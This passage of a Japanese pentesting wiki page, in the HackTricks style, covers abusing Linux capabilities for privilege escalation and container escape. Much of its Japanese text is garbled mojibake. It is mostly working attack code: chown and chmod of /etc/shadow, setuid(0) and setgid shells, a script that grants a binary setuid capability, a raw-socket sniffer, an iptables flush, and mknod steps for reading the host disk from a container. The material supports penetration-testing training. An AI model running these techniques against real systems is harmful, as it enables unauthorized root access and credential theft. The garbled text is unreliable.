ãš/etc/passwd
ã®ãã¡ã€ã«ãããŠã³ããŒããããããã«æ°ãããŠãŒã¶ãŒãè¿œå ããŠãshocker_write
ã䜿çšããŠäžæžãããŸãããã®åŸãsshãä»ããŠã¢ã¯ã»ã¹ããŸãã
ãã®ãã¯ããã¯ã®ã³ãŒãã¯ãhttps://www.pentesteracademy.comã®ãAbusing DAC_OVERRIDE Capabilityãã®ã©ãããã³ããŒãããŸããã
CAP_CHOWN
ããã¯ãä»»æã®ãã¡ã€ã«ã®ææè ãå€æŽã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
python
ãã€ããªã«ãã®æ©èœããããšä»®å®ãããšãshadowãã¡ã€ã«ã®ææè
ãå€æŽããrootãã¹ã¯ãŒããå€æŽããŠç¹æš©ãææ Œãããããšãã§ããŸãã
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
ãŸãã¯ãruby
ãã€ããªã«ãã®æ©èœãããå Žå:
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
CAP_FOWNER
ããã¯ãä»»æã®ãã¡ã€ã«ã®ããŒããã·ã§ã³ãå€æŽããããšãã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
ããPythonããã®æ©èœãæã£ãŠããå Žåãshadowãã¡ã€ã«ã®ããŒããã·ã§ã³ãå€æŽããrootãã¹ã¯ãŒããå€æŽããŠç¹æš©ãææ Œãããããšãã§ããŸãã
python -c 'import os;os.chmod("/etc/shadow",0666)
CAP_SETUID
ããã¯ãäœæãããããã»ã¹ã®æå¹ãªãŠãŒã¶ãŒIDãèšå®ããããšãå¯èœã§ããããšãæå³ããŸãã
ãã€ããªã䜿çšããäŸ
ããPythonããã®æ©èœãæã£ãŠããå Žåãç¹æš©ãrootã«ãšã¹ã«ã¬ãŒã·ã§ã³ããããã«éåžžã«ç°¡åã«æªçšããããšãã§ããŸãã
import os
os.setuid(0)
os.system("/bin/bash")
å¥ã®æ¹æ³ïŒ
This technique involves leveraging Linux capabilities to escalate privileges. Linux capabilities are a set of privileges that can be assigned to processes, allowing them to perform specific actions that would normally require root privileges. By exploiting misconfigurations or vulnerabilities in the system, an attacker can gain additional capabilities and elevate their privileges.
To identify processes with elevated capabilities, you can use the getcap
command. This command lists the capabilities assigned to executable files. By analyzing the output, you can identify potential targets for privilege escalation.
To exploit this vulnerability, you can create a malicious executable file with the desired capabilities and replace a target executable with your file. When the target process is executed, it will inherit the elevated capabilities, allowing you to perform actions that would normally be restricted.
To prevent this type of privilege escalation, it is important to regularly review and restrict the capabilities assigned to processes. Additionally, ensure that executable files are only accessible to trusted users and regularly update the system to patch any vulnerabilities that could be exploited.
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
CAP_SETGID
ããã¯ãäœæãããããã»ã¹ã®æå¹ãªã°ã«ãŒãIDãèšå®ããããšãå¯èœã§ããããšãæå³ããŸãã
ç¹æš©ããšã¹ã«ã¬ãŒã·ã§ã³ããããã«ãäžæžãã§ããå€ãã®ãã¡ã€ã«ããããŸããããããã¢ã€ãã¢ãåŸãããšãã§ããŸãã
ãã€ããªã®äŸ
ãã®å Žåãä»»æã®ã°ã«ãŒãã«ãªãããŸãããšãã§ãããããã°ã«ãŒããèªã¿åãããšãã§ããèå³æ·±ããã¡ã€ã«ãæ¢ãå¿ èŠããããŸãã
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
äžåºŠç¹å®ã®ã°ã«ãŒãããªãããŸããŠç¹æš©ãææ Œãããããã«ãä¹±çšã§ãããã¡ã€ã«ãèŠã€ãããã次ã®æé ã§ã·ã§ã«ãååŸã§ããŸãã
import os
os.setgid(42)
os.system("/bin/bash")
ãã®å Žåãshadowã°ã«ãŒãããªãããŸãããŠããããã/etc/shadow
ãã¡ã€ã«ãèªãããšãã§ããŸãã
cat /etc/shadow
ããdockerãã€ã³ã¹ããŒã«ãããŠããå Žåãdockerã°ã«ãŒãããªãããŸãããããæªçšããŠdockerãœã±ãããšç¹æš©ã®ææ Œãè¡ãããšãã§ããŸãã
CAP_SETFCAP
ããã¯ããã¡ã€ã«ãšããã»ã¹ã«å¯ŸããŠæ©èœãèšå®ããããšãå¯èœã§ããããšãæå³ããŸãã
ãã€ããªã䜿çšããäŸ
ããpythonããã®æ©èœãæã£ãŠããå Žåãç°¡åã«ç¹æš©ãææ Œãããããã«æªçšããããšãã§ããŸãã
{% code title="setcapability.py" %}
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
{% code %}
python setcapability.py /usr/bin/python2.7
{% hint style="warning" %} æ°ããæ©èœãCAP_SETFCAPã§ãã€ããªã«èšå®ãããšããã®æ©èœã倱ãããããšã«æ³šæããŠãã ããã {% endhint %}
SETUIDæ©èœãæã£ãŠããå Žåã¯ãç¹æš©ãææ Œããæ¹æ³ã瀺ãã»ã¯ã·ã§ã³ã«ç§»åã§ããŸãã
ç°å¢ã䜿çšããäŸïŒDockerã®è±åºïŒ
ããã©ã«ãã§ã¯ãDockerã®ã³ã³ããå ã®ããã»ã¹ã«ã¯CAP_SETFCAPæ©èœãäžããããŸãã次ã®ãããªããšãè¡ã£ãŠç¢ºèªã§ããŸãïŒ
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
apsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
ãã®æ©èœã¯ããã€ããªã«ä»ã®ã©ã®æ©èœã§ãäžããããšãã§ããããããã®ããŒãžã§èšåãããŠããä»ã®æ©èœã®è±åºãæªçšããŠã³ã³ããããè±åºããããšãã§ããŸãã
ãã ããäŸãã°gdbãã€ããªã«CAP_SYS_ADMINãšCAP_SYS_PTRACEã®æ©èœãäžããããšãããšãããããäžããããšã¯ã§ããŸããããã®åŸãã€ããªã¯å®è¡ã§ããªããªããŸãã
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
調æ»ã®çµæã次ã®ãããªããšãããããŸããïŒPermitted: ããã¯ã¹ã¬ãããä»®å®ã§ããæå¹ãªæ©èœã®å¶éä»ãã¹ãŒããŒã»ããã§ãããŸããCAP_SETPCAPæ©èœãæå¹ãªã»ããã«æããªãã¹ã¬ããã«ãã£ãŠç¶æ¿ã»ããã«è¿œå ãããå¯èœæ§ã®ããæ©èœã®å¶éä»ãã¹ãŒããŒã»ããã§ããããŸãã
Permittedæ©èœã¯äœ¿çšã§ããæ©èœãå¶éããããã§ãã
ãã ããDockerã¯ããã©ã«ãã§CAP_SETPCAPãä»äžããŠãããããç¶æ¿å¯èœãªæ©èœã«æ°ããæ©èœãèšå®ããããšãã§ãããããããŸããã
ãã ãããã®æ©èœã®ããã¥ã¡ã³ãã«ãããšã_CAP_SETPCAP: [...] åŒã³åºãå
ã¹ã¬ããã®ããŠã³ãã£ã³ã°ã»ããããç¶æ¿ã»ããã«ä»»æã®æ©èœãè¿œå ãã_ãšãããŸãã
ããã«ãããšãç¶æ¿ã»ããã«ã¯CAP_SYS_ADMINãCAP_SYS_PTRACEã®ãããªæ°ããæ©èœãè¿œå ããããšã¯ã§ããªããããç¹æš©ã®ææ Œã«ã¯äœ¿çšã§ããªãããã§ãã
CAP_SYS_RAWIO
CAP_SYS_RAWIOã¯ã/dev/mem
ã/dev/kmem
ããŸãã¯/proc/kcore
ãžã®ã¢ã¯ã»ã¹ãmmap_min_addr
ã®å€æŽãioperm(2)
ããã³iopl(2)
ã·ã¹ãã ã³ãŒã«ãžã®ã¢ã¯ã»ã¹ãããã³ããŸããŸãªãã£ã¹ã¯ã³ãã³ããªã©ãããã€ãã®æ©å¯æäœãæäŸããŸãããã®æ©èœã«ãããéå»ã«åé¡ãçºçããããšããããŸããããã¥ã¢ã«ããŒãžã«ããã°ãããã«ãããã«ããŒã¯ä»ã®ããã€ã¹äžã§ããã€ã¹åºæã®æäœãèšè¿°çã«å®è¡ããããšãå¯èœã§ãã
ããã¯ç¹æš©ã®ææ ŒãDockerã®è±åºã«åœ¹ç«ã€ããšããããŸãã
CAP_KILL
ããã¯ä»»æã®ããã»ã¹ãçµäºããããšãå¯èœã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
python
ãã€ããªã«ãã®æ©èœããããšä»®å®ããŸãããããããããªããããã€ãã®ãµãŒãã¹ããœã±ããã®èšå®ïŒãŸãã¯ãµãŒãã¹ã«é¢é£ããä»»æã®èšå®ãã¡ã€ã«ïŒãå€æŽããããšãã§ããå Žåããããããã¯ãã¢ã«ããããšãã§ãããã®ãµãŒãã¹ã«é¢é£ããããã»ã¹ãçµäºããæ°ããèšå®ãã¡ã€ã«ãããªãã®ããã¯ãã¢ã§å®è¡ãããã®ãåŸ
ã€ããšãã§ããŸãã
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
killã«ããç¹æš©ææ Œ
ããkillã®æš©éãæã£ãŠãããrootãŠãŒã¶ãŒãšããŠå®è¡ãããŠããïŒãŸãã¯å¥ã®ãŠãŒã¶ãŒãšããŠå®è¡ãããŠããïŒnodeããã°ã©ã ãããå Žåãããããã·ã°ãã«SIGUSR1ãéä¿¡ããŠãnodeãããã¬ãŒãéãããšãã§ããŸãã
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
CAP_NET_BIND_SERVICE
ããã¯ãä»»æã®ããŒãïŒç¹æš©ããŒãã§ãïŒã§ãªãã¹ã³ããããšãã§ããããšãæå³ããŸãããã®æ©èœã§ã¯ç¹æš©ãçŽæ¥ãšã¹ã«ã¬ãŒã·ã§ã³ããããšã¯ã§ããŸããã
ãã€ããªã®äŸ
ãã**python
**ããã®æ©èœãæã£ãŠããå Žåãä»»æã®ããŒãã§ãªãã¹ã³ããããšãã§ããä»ã®ããŒãã«æ¥ç¶ããããšãã§ããŸãïŒäžéšã®ãµãŒãã¹ã¯ç¹å®ã®ç¹æš©ããŒãããã®æ¥ç¶ãèŠæ±ããŸãïŒã
{% tabs %} {% tab title="ãªãã¹ã³" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
{% tab title="æ¥ç¶" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))
{% endtab %} {% endtabs %}
CAP_NET_RAW
CAP_NET_RAWã¯ãããã»ã¹ãå©çšå¯èœãªãããã¯ãŒã¯åå空éã§RAWããã³PACKETãœã±ããã¿ã€ããäœæã§ããããã«ããŸããããã«ãããå ¬éããããããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠä»»æã®ãã±ããã®çæãšéä¿¡ãå¯èœã«ãªããŸããå€ãã®å Žåããã®ã€ã³ã¿ãŒãã§ãŒã¹ã¯ä»®æ³ã€ãŒãµãããããã€ã¹ã§ãããæªæã®ãããŸãã¯äŸµå®³ãããã³ã³ãããããŸããŸãªãããã¯ãŒã¯ã¬ã€ã€ãŒã§ãã±ãããåœè£ ããããšãã§ããŸãããã®èœåãæã€æªæã®ããããã»ã¹ãŸãã¯äŸµå®³ãããã³ã³ããã¯ããã¡ã€ã¢ãŠã©ãŒã«ããã±ããã®çš®é¡ãšå 容ãå¶éããããã®å¯Ÿçããªãå Žåãäžæµããªããžã«æ³šå ¥ããããã³ã³ããéã®ã«ãŒãã£ã³ã°ãæªçšãããããããã¯ãŒã¯ã¢ã¯ã»ã¹å¶åŸ¡ããã€ãã¹ãããããã¹ããããã¯ãŒãã³ã°ãæ¹ãããããããããšãã§ããŸããæåŸã«ããã®èœåã«ãããããã»ã¹ã¯å©çšå¯èœãªåå空éå ã®ä»»æã®ã¢ãã¬ã¹ã«ãã€ã³ãããããšãã§ããŸãããã®èœåã¯ãpingãã³ã³ããå ããICMPãªã¯ãšã¹ããäœæããããã«RAWãœã±ããã䜿çšãããããç¹æš©ã³ã³ããã«ãã£ãŠãã°ãã°ä¿æãããŸãã
**ããã¯ãã©ãã£ãã¯ãå èŠããããšãå¯èœã§ããããšãæå³ããŸãã**ãã®èœåãçŽæ¥äœ¿çšããŠç¹æš©ãææ Œããããšã¯ã§ããŸããã
ãã€ããªã®äŸ
ãã€ããª**tcpdump
**ããã®èœåãæã£ãŠããå Žåããããã¯ãŒã¯æ
å ±ããã£ããã£ããããã«äœ¿çšããããšãã§ããŸãã
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
泚æããŠãã ãããããç°å¢ããã®æ©èœãæäŸããŠããå Žåã**tcpdump
**ã䜿çšããŠãã©ãã£ãã¯ãã¹ããã£ã³ã°ããããšãã§ããŸãã
ãã€ããª2ã®äŸ
以äžã®äŸã¯ã"lo"ïŒlocalhostïŒã€ã³ã¿ãŒãã§ãŒã¹ã®ãã©ãã£ãã¯ãååããã®ã«åœ¹ç«ã€**python2
**ã³ãŒãã§ãããã®ã³ãŒãã¯ãhttps://attackdefense.pentesteracademy.com/ã®ã©ããThe Basics: CAP-NET_BIND + NET_RAWãããååŸããŸããã
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
CAP_NET_ADMIN + CAP_NET_RAW
CAP_NET_ADMINã¯ãèœåææè ã«å¯ŸããŠãå ¬éããããããã¯ãŒã¯åå空éã®ãã¡ã€ã¢ãŠã©ãŒã«ãã«ãŒãã£ã³ã°ããŒãã«ããœã±ããã®èš±å¯ããããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã®èšå®ãªã©ãé¢é£ããèšå®ãå€æŽããæ©èœãæäŸããŸããããã«ãããæ¥ç¶ããããããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã®ãããã¹ãã£ã¹ã¢ãŒããæå¹ã«ããããšãå¯èœã§ãããåå空éã暪æããŠã¹ãããã£ã³ã°ããå¯èœæ§ããããŸãã
ãã€ããªã®äŸ
äŸãã°ãpythonãã€ããªããããã®æ©èœãæã£ãŠãããšããŸãã
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
CAP_LINUX_IMMUTABLE
ããã¯ãinodeå±æ§ãå€æŽããããšãå¯èœã§ããããšãæå³ããŸãã ãã®æ©èœãçŽæ¥äœ¿çšããŠç¹æš©ããšã¹ã«ã¬ãŒã·ã§ã³ããããšã¯ã§ããŸããã
ãã€ããªã䜿çšããäŸ
ããããã¡ã€ã«ãimmutableã§ãããpythonããã®æ©èœãæã£ãŠããå Žåãimmutableå±æ§ãåé€ãããã¡ã€ã«ãå€æŽå¯èœã«ããããšãã§ããŸã:
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
{% hint style="info" %} éåžžããã®äžå€ã®å±æ§ã¯ä»¥äžã®ããã«èšå®ããã³åé€ãããŸãã
sudo chattr +i file.txt
sudo chattr -i file.txt
{% endhint %}
CAP_SYS_CHROOT
CAP_SYS_CHROOTã¯chroot(2)
ã·ã¹ãã ã³ãŒã«ã®äœ¿çšãèš±å¯ããŸããããã«ãããæ¢ç¥ã®åŒ±ç¹ãšè±åºæ¹æ³ã䜿çšããŠãä»»æã®chroot(2)
ç°å¢ããè±åºããããšãã§ããŸãã
CAP_SYS_BOOT
CAP_SYS_BOOTã¯reboot(2)
ã·ã¹ãã ã³ãŒã«ã®äœ¿çšãèš±å¯ããŸãããŸããç¹å®ã®ããŒããŠã§ã¢ãã©ãããã©ãŒã ã«å®è£
ãããLINUX_REBOOT_CMD_RESTART2
ãä»ããŠä»»æã®åèµ·åã³ãã³ããå®è¡ããããšãå¯èœã§ãã
ãã®æ©èœã¯ãæ°ããã¯ã©ãã·ã¥ã«ãŒãã«ãããŒãããkexec_load(2)
ã·ã¹ãã ã³ãŒã«ã®äœ¿çšãèš±å¯ããŸãããŸããLinux 3.17以éã§ã¯ã眲åãããã«ãŒãã«ãããŒãããkexec_file_load(2)
ã䜿çšã§ããŸãã
CAP_SYSLOG
CAP_SYSLOGã¯ãLinux 2.6.37ã§CAP_SYS_ADMIN
ã®ãã£ãããªãŒã«ããåå²ãããŸããããã®æ©èœã«ãããããã»ã¹ã¯syslog(2)
ã·ã¹ãã ã³ãŒã«ã䜿çšããããšãã§ããŸããããã«ããã/proc/sys/kernel/kptr_restrict
ã1ã«èšå®ãããŠããå Žåãããã»ã¹ã¯/proc
ããã³ãã®ä»ã®ã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠå
¬éãããã«ãŒãã«ã¢ãã¬ã¹ã衚瀺ããããšãã§ããŸãã
kptr_restrict
sysctlèšå®ã¯2.6.38ã§å°å
¥ãããã«ãŒãã«ã¢ãã¬ã¹ãå
¬éããããã©ããã決å®ããŸããããã¯2.6.39以éãããã©ã«ãŒãã«å
ã§ã¯ãŒãïŒã«ãŒãã«ã¢ãã¬ã¹ã®å
¬éïŒãããã©ã«ãã§ãããå€ãã®ãã£ã¹ããªãã¥ãŒã·ã§ã³ã§ã¯å€ã1ïŒuid 0以å€ã®ãã¹ãŠã®ãŠãŒã¶ãŒããé衚瀺ïŒãŸãã¯2ïŒåžžã«é衚瀺ïŒã«æ£ããèšå®ãããŠããŸãã
ããã«ããã®æ©èœã«ãããdmesg_restrict
èšå®ã1ã®å Žåãããã»ã¹ã¯dmesg
ã®åºåã衚瀺ããããšãã§ããŸããæåŸã«ãCAP_SYS_ADMIN
æ©èœã¯ãæŽå²çãªçç±ããèªäœãsyslog
æäœãå®è¡ããããšãèš±å¯ãããŠããŸãã
CAP_MKNOD
CAP_MKNODã¯ãmknodã®æ¡åŒµäœ¿çšãèš±å¯ããããšã«ãããéåžžã®ãã¡ã€ã«ïŒS_IFREG
ïŒãFIFOïŒååä»ããã€ãïŒïŒS_IFIFO
ïŒããŸãã¯UNIXãã¡ã€ã³ãœã±ããïŒS_IFSOCK
ïŒä»¥å€ã®ãã®ãäœæããããšãã§ããŸããç¹æ®ãã¡ã€ã«ã¯æ¬¡ã®ãšããã§ãã
S_IFCHR
ïŒãã£ã©ã¯ã¿ç¹æ®ãã¡ã€ã«ïŒç«¯æ«ãªã©ã®ããã€ã¹ïŒïŒS_IFBLK
ïŒãããã¯ç¹æ®ãã¡ã€ã«ïŒãã£ã¹ã¯ãªã©ã®ããã€ã¹ïŒïŒã
ããã¯ããã©ã«ãã®æ©èœã§ãïŒhttps://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19ïŒã
ãã®æ©èœã«ããããã¹ãäžã§ç¹æš©ãšã¹ã«ã¬ãŒã·ã§ã³ïŒå®å šãªãã£ã¹ã¯èªã¿åããä»ããŠïŒãè¡ãããšãã§ããŸãã以äžã®æ¡ä»¶ãæºããå¿ èŠããããŸãã
- ãã¹ãã«åæã¢ã¯ã»ã¹ïŒéç¹æš©ïŒãæã€ããšã
- ã³ã³ããã«åæã¢ã¯ã»ã¹ïŒç¹æš©ïŒEUID 0ïŒããã³æå¹ãª
CAP_MKNOD
ïŒãæã€ããšã - ãã¹ããšã³ã³ããã¯åããŠãŒã¶ãŒããŒã ã¹ããŒã¹ãå ±æããå¿ èŠããããŸãã
æé ïŒ
- æšæºãŠãŒã¶ãŒãšããŠãã¹ãã§æ¬¡ã®æäœãè¡ããŸãïŒ
- çŸåšã®UIDãååŸããŸãïŒ
id
ïŒãäŸïŒuid=1000(unprivileged)
ã - èªã¿åãããããã€ã¹ãååŸããŸããäŸïŒ
/dev/sda
- çŸåšã®UIDãååŸããŸãïŒ
root
ãšããŠã³ã³ããã§æ¬¡ã®æäœãè¡ããŸãïŒ
# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged
- ãã¹ãã«æ»ã:
#Â Find the PID linked to the container owns by the user "unprivileged"
#Â Example only (Depends on the shell program, etc.). Here: PID=18802.
$ ps aux | grep -i /bin/sh | grep -i unprivileged
unprivileged 18802 0.0 0.0 1712 4 pts/0 S+ 15:27 0:00 /bin/sh
#Â Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
head /proc/18802/root/dev/sda
æ»æè ã¯ãç¹æš©ã®ãªããŠãŒã¶ãŒããããã€ã¹/dev/sdaãèªã¿åãããã³ãããã³ããŒããããšãã§ããŸãã
CAP_SETPCAP
**CAP_SETPCAP
**ã¯ãLinuxã®æ©èœã§ãããããã»ã¹ãä»ã®ããã»ã¹ã®æ©èœã»ãããå€æŽããããšãå¯èœã«ããŸããããã«ãããä»ã®ããã»ã¹ã®æå¹ãç¶æ¿å¯èœãèš±å¯ãããæ©èœã»ããã«å¯ŸããŠæ©èœãè¿œå ãŸãã¯åé€ããããšãã§ããŸãããã ãããã®æ©èœã¯äœ¿çšæ¹æ³ã«å¶éããããŸãã
CAP_SETPCAP
ãæã€ããã»ã¹ã¯ãèªåèªèº«ã®èš±å¯ãããæ©èœã»ããã«ããæ©èœã®ã¿ãä»äžãŸãã¯åé€ããããšãã§ããŸããèšãæãããšãããã»ã¹ã¯èªåèªèº«ãæã£ãŠããªãæ©èœãä»ã®ããã»ã¹ã«ä»äžããããšã¯ã§ããŸããããã®å¶éã«ãããããã»ã¹ã¯èªèº«ã®ç¹æš©ã¬ãã«ãè¶
ããŠä»ã®ããã»ã¹ã®ç¹æš©ãææ Œãããããšãã§ããªããªããŸãã
ããã«ãæè¿ã®ã«ãŒãã«ããŒãžã§ã³ã§ã¯ãCAP_SETPCAP
æ©èœãããã«å¶éãããŠããŸããããã«ãããããã»ã¹ã¯ä»ã®ããã»ã¹ã®æ©èœã»ãããä»»æã«å€æŽããããšã¯ã§ããªããªããŸããã代ããã«ãèªèº«ã®èš±å¯ãããæ©èœã»ãããŸãã¯åå«ã®èš±å¯ãããæ©èœã»ããã®æ©èœã®ã¿ãäœäžãããããšãã§ããŸãããã®å€æŽã¯ãæ©èœã«é¢é£ããæœåšçãªã»ãã¥ãªãã£ãªã¹ã¯ãæžããããã«å°å
¥ãããŸããã
CAP_SETPCAP
ãå¹æçã«äœ¿çšããã«ã¯ãèªèº«ã®æå¹ãªæ©èœã»ããã«æ©èœãæã¡ã察象ã®æ©èœãèš±å¯ãããæ©èœã»ããã«æã£ãŠããå¿
èŠããããŸãããã®åŸãcapset()
ã·ã¹ãã ã³ãŒã«ã䜿çšããŠä»ã®ããã»ã¹ã®æ©èœã»ãããå€æŽããããšãã§ããŸãã
èŠçŽãããšãCAP_SETPCAP
ã¯ä»ã®ããã»ã¹ã®æ©èœã»ãããå€æŽããããšãã§ããŸãããèªèº«ãæã£ãŠããªãæ©èœãä»äžããããšã¯ã§ããŸããããŸããã»ãã¥ãªãã£äžã®æžå¿µãããæè¿ã®ã«ãŒãã«ããŒãžã§ã³ã§ã¯ãèªèº«ã®èš±å¯ãããæ©èœã»ãããŸãã¯åå«ã®èš±å¯ãããæ©èœã»ããã®æ©èœã®ã¿ãäœäžãããããšãã§ããããã«æ©èœãå¶éãããŠããŸãã
åèæç®
ãããã®äŸã®ã»ãšãã©ã¯ãhttps://attackdefense.pentesteracademy.com/**ã®ã©ãããååŸãããŸããããããã£ãŠããã®ç¹æš©ææ Œæè¡ãç·Žç¿ãããå Žåã¯ããããã®ã©ãããå§ãããŸãã
ãã®ä»ã®åèæç®ïŒ
- https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
- https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.
- https://linux-audit.com/linux-capabilities-101/
- https://www.linuxjournal.com/article/5737
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
- https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
â
RootedCONã¯ãã¹ãã€ã³ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããããšãŒãããã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ããããšã䜿åœãšããŠãããããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ãéãŸã掻æ°ããå Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
- ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãææ°ããŒãžã§ã³ã®PEASSãå ¥æããããHackTricksãPDFã§ããŠã³ããŒãããããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS Familyãã芧ãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
- å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
- ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ããã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricks repo ãš hacktricks-cloud repo ã«PRãæåºããŠãã ããã